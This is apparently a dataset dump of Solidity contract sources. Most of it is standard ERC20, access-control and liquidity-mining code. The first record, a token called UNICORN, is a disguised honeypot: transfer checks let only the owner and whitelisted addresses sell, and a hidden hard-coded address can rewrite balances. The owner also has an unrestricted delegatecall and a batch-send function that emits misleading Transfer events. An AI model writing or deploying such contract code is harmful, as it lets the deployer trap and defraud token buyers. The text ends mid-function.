returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UNICORN { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,519
pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity 0.8.7; interface IBasePool { function distributeRewards(uint256 _amount) external; } pragma solidity ^0.8.0; interface IAccessControl { event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } pragma solidity ^0.8.0; interface IAccessControlEnumerable is IAccessControl { function getRoleMember(bytes32 role, uint256 index) external view returns (address); function getRoleMemberCount(bytes32 role) external view returns (uint256); } pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } pragma solidity ^0.8.0; library EnumerableSet { struct Set { bytes32[] _values; mapping(bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; } set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } pragma solidity ^0.8.0; abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.grantRole(role, account); _roleMembers[role].add(account); } function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.revokeRole(role, account); _roleMembers[role].remove(account); } function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.renounceRole(role, account); _roleMembers[role].remove(account); } function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } } pragma solidity 0.8.7; contract TokenSaver is AccessControlEnumerable { using SafeERC20 for IERC20; bytes32 public constant TOKEN_SAVER_ROLE = keccak256("TOKEN_SAVER_ROLE"); event TokenSaved(address indexed by, address indexed receiver, address indexed token, uint256 amount); modifier onlyTokenSaver() { require(hasRole(TOKEN_SAVER_ROLE, _msgSender()), "TokenSaver.onlyTokenSaver: permission denied"); _; } constructor() { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } function saveToken(address _token, address _receiver, uint256 _amount) external onlyTokenSaver { IERC20(_token).safeTransfer(_receiver, _amount); emit TokenSaved(_msgSender(), _receiver, _token, _amount); } } pragma solidity 0.8.7; contract LiquidityMiningManager is TokenSaver { using SafeERC20 for IERC20; bytes32 public constant GOV_ROLE = keccak256("GOV_ROLE"); bytes32 public constant REWARD_DISTRIBUTOR_ROLE = keccak256("REWARD_DISTRIBUTOR_ROLE"); uint256 public MAX_POOL_COUNT = 10; IERC20 immutable public reward; address immutable public rewardSource; uint256 public rewardPerSecond; uint256 public lastDistribution; uint256 public totalWeight; mapping(address => bool) public poolAdded; Pool[] public pools; struct Pool { IBasePool poolContract; uint256 weight; } modifier onlyGov { require(hasRole(GOV_ROLE, _msgSender()), "LiquidityMiningManager.onlyGov: permission denied"); _; } modifier onlyRewardDistributor { require(hasRole(REWARD_DISTRIBUTOR_ROLE, _msgSender()), "LiquidityMiningManager.onlyRewardDistributor: permission denied"); _; } event PoolAdded(address indexed pool, uint256 weight); event PoolRemoved(uint256 indexed poolId, address indexed pool); event WeightAdjusted(uint256 indexed poolId, address indexed pool, uint256 newWeight); event RewardsPerSecondSet(uint256 rewardsPerSecond); event RewardsDistributed(address _from, uint256 indexed _amount); constructor(address _reward, address _rewardSource) { require(_reward != address(0), "LiquidityMiningManager.constructor: reward token must be set"); require(_rewardSource != address(0), "LiquidityMiningManager.constructor: rewardSource token must be set"); reward = IERC20(_reward); rewardSource = _rewardSource; } function addPool(address _poolContract, uint256 _weight) external onlyGov { distributeRewards(); require(_poolContract != address(0), "LiquidityMiningManager.addPool: pool contract must be set"); require(!poolAdded[_poolContract], "LiquidityMiningManager.addPool: Pool already added"); require(pools.length < MAX_POOL_COUNT, "LiquidityMiningManager.addPool: Max amount of pools reached"); pools.push(Pool({ poolContract: IBasePool(_poolContract), weight: _weight })); poolAdded[_poolContract] = true; totalWeight += _weight; reward.safeApprove(_poolContract, type(uint256).max); emit PoolAdded(_poolContract, _weight); } function removePool(uint256 _poolId) external onlyGov { require(_poolId < pools.length, "LiquidityMiningManager.removePool: Pool does not exist"); distributeRewards(); address poolAddress = address(pools[_poolId].poolContract); totalWeight -= pools[_poolId].weight; pools[_poolId] = pools[pools.length - 1]; pools.pop(); poolAdded[poolAddress] = false; emit PoolRemoved(_poolId, poolAddress); } function adjustWeight(uint256 _poolId, uint256 _newWeight) external onlyGov { require(_poolId < pools.length, "LiquidityMiningManager.adjustWeight: Pool does not exist"); distributeRewards(); Pool storage pool = pools[_poolId]; totalWeight -= pool.weight; totalWeight += _newWeight; pool.weight = _newWeight; emit WeightAdjusted(_poolId, address(pool.poolContract), _newWeight); } function setRewardPerSecond(uint256 _rewardPerSecond) external onlyGov { distributeRewards(); rewardPerSecond = _rewardPerSecond; emit RewardsPerSecondSet(_rewardPerSecond); } function distributeRewards() public onlyRewardDistributor { uint256 timePassed = block.timestamp - lastDistribution; uint256 totalRewardAmount = rewardPerSecond * timePassed; lastDistribution = block.timestamp; if(pools.length == 0) { return; } if(totalRewardAmount == 0) { return; } reward.safeTransferFrom(rewardSource, address(this), totalRewardAmount); for(uint256 i = 0; i < pools.length; i ++) { Pool memory pool = pools[i]; uint256 poolRewardAmount = totalRewardAmount * pool.weight / totalWeight; address(pool.poolContract).call(abi.encodeWithSelector(pool.poolContract.distributeRewards.selector, poolRewardAmount)); } uint256 leftOverReward = reward.balanceOf(address(this)); if(leftOverReward > 1) { reward.safeTransfer(rewardSource, leftOverReward); } emit RewardsDistributed(_msgSender(), totalRewardAmount); } function getPools() external view returns(Pool[] memory result) { return pools; } } pragma solidity ^0.8.0; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a & b) + (a ^ b) / 2; } function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { return a / b + (a % b == 0 ? 0 : 1); } } pragma solidity ^0.8.0; interface IERC20Permit { function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function nonces(address owner) external view returns (uint256); function DOMAIN_SEPARATOR() external view returns (bytes32); } pragma solidity ^0.8.0; interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.0; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } pragma solidity ^0.8.0; library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } pragma solidity ^0.8.0; abstract contract EIP712 { bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } function _domainSeparatorV4() internal view returns (bytes32) { if (block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } pragma solidity ^0.8.0; library Counters { struct Counter { uint256 _value; } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } pragma solidity ^0.8.0; abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); constructor(string memory name) EIP712(name, "1") {} function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } pragma solidity ^0.8.0; library SafeCast { function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, 